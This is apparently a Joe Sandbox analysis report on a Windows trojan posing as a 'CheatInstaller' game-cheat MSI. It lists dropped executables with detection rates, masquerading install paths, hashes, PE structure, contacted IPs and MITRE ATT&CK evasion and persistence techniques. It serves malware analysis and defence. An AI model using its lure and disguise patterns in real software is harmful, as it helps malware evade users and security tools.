C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\color-support\bin.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\cssesc\bin\cssesc	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\glob\dist\esm\bin.d.mts	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\glob\dist\esm\bin.mjs	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\mkdirp\bin\cmd.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\bin\node-gyp.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\gyp	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\gyp_main.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\common.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\common_test.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\easy_xml.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\easy_xml_test.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\flock_tool.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\analyzer.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\android.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\cmake.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\compile_commands_json.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\dump_dependency_json.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\gyp\pylib\gyp\generator\eclipse.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\node_modules\cacache\node_modules\glob\dist\cjs\src\bin.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\node_modules\nopt\bin\nopt.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\node_modules\which\bin\node-which	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\test\fixtures\test-charmap.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\node-gyp\update-gyp.py	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\nopt\bin\nopt.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\pacote\lib\bin.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\7zS8C89.tmp\node_modules\qrcode-terminal\bin\qrcode-terminal.js	0%	ReversingLabs
C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\networkbroker.exe	29%	ReversingLabs	Win64.Trojan.Mardom
C:\Users\user\AppData\Local\Temp\shi3348.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI12E1.tmp	0%	ReversingLabs
C:\Windows\Installer\MSI9F3.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC26F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC28.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC2DF.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIC30F.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIF889.tmp	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe	31%	ReversingLabs	Win64.Packed.Generic
C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe	33%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\winserverupd.exe	79%	ReversingLabs	Win32.Trojan.CrypterX
C:\Windows\Installer\MSIBF92.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBFC2.tmp	0%	ReversingLabs

IP	Domain	Country	ASN	ASN Name	Malicious
72.21.81.240	unknown	United States	15133	EDGECASTUS	false
23.41.168.93	unknown	United States	6461	ZAYO-6461US	false
185.199.110.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1417308
Start date and time:	2024-03-28 22:44:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	150
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Sample name:	JWQgbclQK5 renamed because original name is a hash value
Original Sample Name:	148c3096bab88a675414bd9463c60c44317f3ee5d12f949526847827cb108010
Detection:	MAL
Classification:	mal100.troj.evad.win@261/1107@1/11

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	3162991
Entropy (8bit):	6.70395609945764
Encrypted:	false
SSDEEP:
MD5:	2DC0C71715C250A0BE56F047D61967A2
SHA1:	C8D58B602B2697AF245C0E2841E3E3D58597D9E4
SHA-256:	D0AEA8AC498C967A4F68E70A11604DD93DFD4DBABFB8804F1705CC256EB29BE1
SHA-512:	7E559CAA8AB59FFFB86B29FE59BA04C251255BFB2BA368AEFD51CAE923CC9181266F23BC0F4F50E4A6BE8F4479EDDDF704258063ED3A93A1F45DE207AFDBF22E
Malicious:	false
Reputation:	unknown
Preview:	...@IXOS.@.....@..\|X.@.....@.....@.....@.....@.....@......&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}..CheatInstaller..YTtSTCHEAT.msi.@.....@.. ..@.....@........&.{E80C0689-9541-4B8A-A2F7-42C1223131F6}.....@.....@.....@.....@.......@.....@.....@.......@......CheatInstaller......Rollback..Rolling back action:....RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{7CB67576-CC77-4A95-904F-CC1D1FDF3D96}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{7EBC63B1-6868-42AD-8F42-7A8483E554C1}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{7E3DCA32-366C-4D87-A97D-D5E4A4578089}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{ACFCF79F-5E36-4077-84BD-3303CD7A90A3}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{F9E007D5-91EB-4408-A0A4-8C8437DF0983}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{A69A28B5-470F-489A-8931-C429028C48B8}&.{AA26797C-3E2C-42C1-A832-A687DE957A1C}.@......&.{2C5DBEFA-34DB-435F-8EED-21D4846CB058}&.{AA26797C-3E2C-

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	135000000
Entropy (8bit):	0.9327025139543955
Encrypted:	false
SSDEEP:
MD5:	2F2B25EF8E4A739A8D4F34031620E705
SHA1:	EC07A80EDBEAE1D771B892723C070E4A9A0A7194
SHA-256:	6BF4D37DCADD6DA1652048666C0FA737398BE93EBDE1867227F3885939BF538E
SHA-512:	2128C9F0DBA1A7F87A0B870FA77622B7E4B39117196981054FA46241F6CE3DC09874D9297F475383570C31D8CF45CB4BE9A68E343CD82DE64D2871F784185E7A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 31%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....#.f.................x............... ....@...... ....................................`...@......@............... ..................................x............................................................................................ ..H............text...0v... ...x.................. ..`.rsrc...x............z..............@..@........................................H...........D.............................................................(......0..g....... ........8........E............8....*....s....%.....(.........(....(.... ....~t...{....:....& ....8......0.......... ........8........E(.......(...b.......G.......8...y.......................O...o...............V.......5...L...........q...................z..........._...!...................-.......8......(...... ....~t...{J...99...& ....8........ ..... ....~t...{x...:....& ....8....8.... .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	21948
Entropy (8bit):	5.505956750891018
Encrypted:	false
SSDEEP:
MD5:	87D53DF6BE096E1002ACC481E0660C5E
SHA1:	D97342A003D5F93A4573017024F1C52DC5375333
SHA-256:	D9F7962764CEE12494148547F3154C85B66814727A269BA35AEBF95B1680C555
SHA-512:	6400056D2D53D615DB5FB2BB8DF6709B20D0C96848E19C0884D28758DD48A05A407AA78955BC2F9A6F84F313E57B7DEB96244BBEF051432A80AF366CC2A69A74
Malicious:	false
Reputation:	unknown
Preview:	@...e...............!................................@..........H...............o..b~.D.poM...E..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.{.....#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

Process:	C:\Users\user\Desktop\JWQgbclQK5.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	110
Entropy (8bit):	4.236548346705887
Encrypted:	false
SSDEEP:
MD5:	AF5C80ED6BCCEA47E619D5EE19EFF446
SHA1:	FFBFFE96D99CD2227C376475AE26E9A269046CE3
SHA-256:	58F759505A8769B7A753530D5C2C9A52735BCBEBF76AAA14F006102D78BFAE20
SHA-512:	F23B1FE40BCBDCECB6C7C35551BE987A16D02BF430F235C4CFA010135B59DA9FB70A7EFC4E2D9D17027AA61F895ACAB7642AFEAEDBADB2EAF9AA93535C4F7482
Malicious:	false
Reputation:	unknown
Preview:	{. "licenses": {. "spdx": [. "CC-BY-3.0". ],. "blueOak": "bronze". },. "corrections": true.}.

Process:	C:\Windows\System32\cmd.exe
File Type:	ASCII text, with very long lines (8190), with CRLF, CR line terminators
Category:	dropped
Size (bytes):	8193
Entropy (8bit):	0.008325662656503996
Encrypted:	false
SSDEEP:
MD5:	3FD78AC884F3B867FD1FAF2EAA0CCF71
SHA1:	7ACC08E8F717AC7C18EBA4B664F93D1CAD7DC335
SHA-256:	97566C4DE0556852DDA6ECA5098EA584D466D382FCEE57E14B4F981203BAE5FD
SHA-512:	BCBC71FFBA452769DC67981CBB93C6795D2BFAF874C2323AA773EF3F01CB34F080B7ADEFAEF123196669D4BE5639CB4C2F05C8484EC1B613A36082D4ED841F70
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Process:	C:\Windows\SysWOW64\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	331
Entropy (8bit):	4.92149009030101
Encrypted:	false
SSDEEP:
MD5:	2E512EE24AAB186D09E9A1F9B72A0569
SHA1:	C5BA2E0C0338FFEE13ED1FB6DA0CC9C000824B0B
SHA-256:	DB41050CA723A06D95B73FFBE40B32DE941F5EE474F129B2B33E91C67B72674F
SHA-512:	6B4487A088155E34FE5C642E1C3D46F63CB2DDD9E4092809CE6F3BEEFDEF0D1F8AA67F8E733EDE70B07F467ED5BB6F07104EEA4C1E7AC7E1A502A772F56F7DE9
Malicious:	false
Reputation:	unknown
Preview:	..Pinging 127.0.0.1 with 32 bytes of data:..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128..Reply from 127.0.0.1: bytes=32 time<1ms TTL=128....Ping statistics for 127.0.0.1:.. Packets: Sent = 2, Received = 2, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.999796402582181
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	JWQgbclQK5
File size:	33'220'376 bytes
MD5:	41bf2693033eaed432dfa5c1d75cdeec
SHA1:	ff038cb9e992a518106c80868176785e987c301d
SHA256:	148c3096bab88a675414bd9463c60c44317f3ee5d12f949526847827cb108010
SHA512:	f8ffe83afac20f3fc2b0175542e0e98cc236d3ab6e6cdf7d3702b5b124af6b64e8edd2d6ddddda6bdf6a2288f8853c56fed3bcf490227a0867baeb2bf8cb80ff
SSDEEP:	786432:ELlFuTirkoTj4mAJidZgSekJEUlvgBNTTz+Ndz+t:fqjzddlekmg4LU+t
TLSH:	547733837DE890C5EBF56CB73ACF4EDC869588D815B1369236220C4C2A736AD7833B55
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........W..s...s...s...}...s...y...s...,...s...r.!.s.......s...x...s.......s.......s.^.u...s.Rich..s.........PE..L....S.L...........

Entrypoint:	0x414b04
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:
Time Stamp:	0x4CE553F7 [Thu Nov 18 16:27:35 2010 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	3786a4cf8bfee8b4821db03449141df4

Signature Valid:	false
Signature Issuer:	CN=Certum Code Signing 2021 CA, O=Asseco Data Systems S.A., C=PL
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	31/10/2022 15:53:10 31/10/2023 15:53:09
Subject Chain	E=dimitry@freeplane.org, CN="Open Source Developer, Dimitry Polivaev", O=Open Source Developer, L=Munich, C=DE
Version:	3
Thumbprint MD5:	8F254D12333030452B3114F8B9F4208E
Thumbprint SHA-1:	D6BE02881A5F2530791AB03F7A18B1B1D3C9152C
Thumbprint SHA-256:	E2FD5160A7B60D5A17A40C44A2F58D35EE6F854A52321569A1B8F5951294E47E
Serial:	6D59D71C2A65BA86924D4B3787C85555

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e9e4	0x64	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x27000	0x6294	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x1fabd88	0x2990
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x1f8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x199ea	0x19a00	8c9346b8cd91e8d7aa2e1586eb1a1b30	False	0.5822884908536585	DOS executable (COM)	6.608494417524647	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0x4494	0x4600	5e256dc61db6deff01801e77de19d038	False	0.31166294642857145	data	4.368016436198423	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x20000	0x5a48	0x3200	1d347e5500f0d4c5672ba18282b866f7	False	0.122890625	data	1.370539432871311	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.sxdata	0x26000	0x4	0x200	35925cfdc1176bd9ffc634a58b40ec17	False	0.02734375	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_LNK_INFO, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x27000	0x6294	0x6400	79d24eee2154b34203ee7208408b248f	False	0.9487109375	data	7.806413411168127	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x271a8	0x5c94	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9929535864978903
RT_DIALOG	0x2ce3c	0xb8	data	English	United States	0.6684782608695652
RT_STRING	0x2cef4	0x94	data	English	United States	0.668918918918919
RT_STRING	0x2cf88	0x34	data	English	United States	0.6538461538461539
RT_GROUP_ICON	0x2cfbc	0x14	data	English	United States	1.05
RT_VERSION	0x2cfd0	0x2c4	data	English	United States	0.4901129943502825

DLL	Import
OLEAUT32.dll	VariantClear, SysAllocString
USER32.dll	SendMessageA, SetTimer, DialogBoxParamW, DialogBoxParamA, SetWindowLongA, GetWindowLongA, SetWindowTextW, LoadIconA, LoadStringW, LoadStringA, CharUpperW, CharUpperA, DestroyWindow, EndDialog, PostMessageA, ShowWindow, MessageBoxW, GetDlgItem, KillTimer, SetWindowTextA
SHELL32.dll	ShellExecuteExA
KERNEL32.dll	GetStringTypeW, GetStringTypeA, LCMapStringW, LCMapStringA, InterlockedIncrement, InterlockedDecrement, GetProcAddress, GetOEMCP, GetACP, GetCPInfo, IsBadCodePtr, IsBadReadPtr, GetFileType, SetHandleCount, GetEnvironmentStringsW, GetEnvironmentStrings, FreeEnvironmentStringsW, FreeEnvironmentStringsA, UnhandledExceptionFilter, HeapSize, GetCurrentProcess, TerminateProcess, IsBadWritePtr, HeapCreate, HeapDestroy, GetEnvironmentVariableA, SetUnhandledExceptionFilter, TlsAlloc, ExitProcess, GetVersion, GetCommandLineA, GetStartupInfoA, GetModuleHandleA, WaitForSingleObject, CloseHandle, CreateProcessA, SetCurrentDirectoryA, GetCommandLineW, GetVersionExA, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, MultiByteToWideChar, WideCharToMultiByte, GetLastError, LoadLibraryA, AreFileApisANSI, GetModuleFileNameA, GetModuleFileNameW, LocalFree, FormatMessageA, FormatMessageW, GetWindowsDirectoryA, SetFileTime, CreateFileW, SetLastError, SetFileAttributesA, RemoveDirectoryA, SetFileAttributesW, RemoveDirectoryW, CreateDirectoryA, CreateDirectoryW, DeleteFileA, DeleteFileW, lstrlenA, GetFullPathNameA, GetFullPathNameW, GetCurrentDirectoryA, GetTempPathA, GetTempFileNameA, FindClose, FindFirstFileA, FindFirstFileW, FindNextFileA, CreateFileA, GetFileSize, SetFilePointer, ReadFile, WriteFile, SetEndOfFile, GetStdHandle, WaitForMultipleObjects, Sleep, VirtualAlloc, VirtualFree, CreateEventA, SetEvent, ResetEvent, InitializeCriticalSection, RtlUnwind, RaiseException, HeapAlloc, HeapFree, HeapReAlloc, CreateThread, GetCurrentThreadId, TlsSetValue, TlsGetValue, ExitThread

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Tactics:	Initial Access, Lateral Movement
Data Sources:	Drive: Drive Creation, File: File Access, File: File Creation, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JWQgbclQK5

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Created / dropped Files

C:\Config.Msi\40c08b.rbs

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\gl_sc09.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\quant_samplernn.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\quant_wavegan_pp.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\quant_wavegan_ps2.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\quant_wavegan_ps4.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\quant_wavenet_ibab.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\real_drums.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\real_sc09.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\real_tatum.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\specgan_birds.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\specgan_drums.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\specgan_piano.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\Audio\wavegan_piano.wav

C:\Program Files (x86)\OpenSource\CheatInstaller\db.frm

C:\Program Files (x86)\OpenSource\CheatInstaller\event.csv

C:\Program Files (x86)\OpenSource\CheatInstaller\general_log.frm

C:\Program Files (x86)\OpenSource\CheatInstaller\help_topic.frm

C:\Program Files (x86)\OpenSource\CheatInstaller\lang_ita.txt

C:\Program Files (x86)\OpenSource\CheatInstaller\slow_log.frm

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Vault\EdUpdMachine.exe

C:\Users\user\AppData\Local\Microsoft\Vault\er5thygfd.zip.part

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\SurrogateServerIntoSvc.exe

C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\Uemlxaw.zip.part

C:\Users\user\AppData\Local\Microwave\Vault\TelemetryHandlers\winupdates\networkbroker.exe

Windows Analysis Report
JWQgbclQK5

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
